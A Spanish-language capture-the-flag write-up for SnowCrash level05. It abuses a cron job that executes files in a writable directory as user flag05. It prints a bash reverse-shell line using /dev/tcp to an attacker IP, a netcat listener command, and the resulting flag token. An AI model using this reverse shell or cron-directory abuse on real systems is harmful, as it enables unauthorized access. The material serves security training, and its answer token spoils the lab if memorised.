

## 5

## Level05

Anteriormente había mostrado las variables de entorno en mi sistema y había visto que había una carpeta para el mail. Al acceder a ella vi que había una carpeta la cual hacía referencia al nivel05, por lo que en este caso decidí ir a tiro hecho.

Dentro de esta carpeta encontramos un archivo que si le hacemos un `cat` podemos ver que tiene dentro una regla de crontab que ejecuta algo.

```
level05@SnowCrash: /var/mail$ cat level05
*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05
level05@SnowCrash: /var/mail$ |
```

Como podemos ver este crontab ejecuta un script dentro del usuario `flag05` así que vamos a ver que hace este script.

```
level05@SnowCrash: /var/mail$ cat /usr/sbin/openarenaserver
#!/bin/sh

for i in /opt/openarenaserver/* ; do
    (ulimit -t 5; bash -x "$i")
    rm -f "$i"
done
level05@SnowCrash: /var/mail$ |
```

Este script va viendo todos los archivos dentro de la carpeta `/opt/openarenaserver` los ejecuta y luego los elimina, por lo que si tenemos la posibilidad de crear archivos en esta carpeta podremos crear un script que ejecute una reverse shell desde la que podamos conectarnos al usuario.

```
level05@SnowCrash: /var/mail$ ls -l /opt/
total 0
drwxrwxr-x+ 2 root root 40 May 22 16:02 openarenaserver
level05@SnowCrash: /var/mail$ |
```

Efectivamente tenemos permisos, así que vamos a ello.

```
#!/bin/bash
bash -i >& /dev/tcp/172.21.9.181/4280 0>&1
```

Desde nuestro equipo atacante abriremos los puertos para que esté escuchando la conexión desde el servicio atacado.

```
nc -nlvp 4280
Listening on 0.0.0.0 4280
Connection received on 172.21.0.1 53546
bash: no job control in this shell
Don't forget to launch getflag !
flag05@SnowCrash:~$ |
```

Haciendo esto ya hemos accedido al usuario `flag05` y tenemos permisos para ejecutar el comando `getflag`.

```
flag05@SnowCrash:~$ getflag
getflag
Check flag.Here is your token : viuaaaale9huek52boumoomioc
flag05@SnowCrash:~$ |
```